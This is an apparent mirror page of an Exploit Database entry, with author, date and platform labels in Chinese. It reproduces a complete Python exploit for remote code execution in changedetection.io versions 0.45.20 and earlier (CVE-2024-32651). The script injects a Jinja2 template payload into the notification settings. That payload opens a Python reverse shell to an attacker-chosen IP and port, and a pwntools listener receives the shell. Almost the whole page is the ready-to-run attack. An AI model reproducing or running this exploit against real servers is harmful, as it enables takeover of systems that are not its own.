changedetection < 0.45.20 - Remote Code Execution (RCE)

• Exploit Database
• 895 阅读

• 作者： Zach Crosman (zcrosman)
  日期： 2024-05-31
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52027/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126

  # Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE) # Date: 5-26-2024 # Exploit Author: Zach Crosman (zcrosman) # Vendor Homepage: changedetection.io # Software Link: https://github.com/dgtlmoon/changedetection.io # Version: <= 0.45.20 # Tested on: Linux # CVE : CVE-2024-32651   from pwn import * import requests from bs4 import BeautifulSoup import argparse   def start_listener(port): listener = listen(port) print(f"Listening on port {port}...") conn = listener.wait_for_connection() print("Connection received!") context.newline = b&apos;\r\n&apos; # Switch to interactive mode conn.interactive()   def add_detection(url, listen_ip, listen_port, notification_url=&apos;&apos;): session = requests.Session()   # First request to get CSRF token request1_headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" }   response = session.get(url, headers=request1_headers) soup = BeautifulSoup(response.text, &apos;html.parser&apos;) csrf_token = soup.find(&apos;input&apos;, {&apos;name&apos;: &apos;csrf_token&apos;})[&apos;value&apos;] print(f&apos;Obtained CSRF token: {csrf_token}&apos;)   # Second request to submit the form and get the redirect URL add_url = f"{url}/form/add/quickwatch" add_url_headers = {# Define add_url_headers here "Origin": url, "Content-Type": "application/x-www-form-urlencoded" } add_url_data = { "csrf_token": csrf_token, "url": "https://reddit.com/r/baseball", "tags": &apos;&apos;, "edit_and_watch_submit_button": "Edit > Watch", "processor": "text_json_diff" }   post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)   # Extract the URL from the Location header if &apos;Location&apos; in post_response.headers: redirect_url = post_response.headers[&apos;Location&apos;] print(f&apos;Redirect URL: {redirect_url}&apos;) else: print(&apos;No redirect URL found&apos;) return   # Third request to add the changedetection url with ssti in notification config save_detection_url = f"{url}{redirect_url}" save_detection_headers = {# Define save_detection_headers here "Referer": redirect_url, "Cookie": f"session={session.cookies.get(&apos;session&apos;)}" }   save_detection_data = { "csrf_token": csrf_token, "url": "https://reddit.com/r/all", "title": &apos;&apos;, "tags": &apos;&apos;, "time_between_check-weeks": &apos;&apos;, "time_between_check-days": &apos;&apos;, "time_between_check-hours": &apos;&apos;, "time_between_check-minutes": &apos;&apos;, "time_between_check-seconds": &apos;30&apos;, "filter_failure_notification_send": &apos;y&apos;, "fetch_backend": &apos;system&apos;, "webdriver_delay": &apos;&apos;, "webdriver_js_execute_code": &apos;&apos;, "method": &apos;GET&apos;, "headers": &apos;&apos;, "body": &apos;&apos;, "notification_urls": notification_url, "notification_title": &apos;&apos;, "notification_body": f""" {{% for x in ().__class__.__base__.__subclasses__() %}} {{% if "warning" in x.__name__ %}} {{{{x()._module.__builtins__[&apos;__import__&apos;](&apos;os&apos;).popen("python3 -c &apos;import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")&apos;").read()}}}} {{% endif %}} {{% endfor %}} """, "notification_format": &apos;System default&apos;, "include_filters": &apos;&apos;, "subtractive_selectors": &apos;&apos;, "filter_text_added": &apos;y&apos;, "filter_text_replaced": &apos;y&apos;, "filter_text_removed": &apos;y&apos;, "trigger_text": &apos;&apos;, "ignore_text": &apos;&apos;, "text_should_not_be_present": &apos;&apos;, "extract_text": &apos;&apos;, "save_button": &apos;Save&apos; } final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)   print(&apos;Final request made.&apos;)   if __name__ == "__main__": parser = argparse.ArgumentParser(description=&apos;Add detection and start listener&apos;) parser.add_argument(&apos;--url&apos;, type=str, required=True, help=&apos;Base URL of the target site&apos;) parser.add_argument(&apos;--port&apos;, type=int, help=&apos;Port for the listener&apos;, default=4444) parser.add_argument(&apos;--ip&apos;, type=str, required=True, help=&apos;IP address for the listener&apos;) parser.add_argument(&apos;--notification&apos;, type=str, help=&apos;Notification url if you don\&apos;t want to use the system default&apos;) args = parser.parse_args()     add_detection(args.url, args.ip, args.port, args.notification) start_listener(args.port)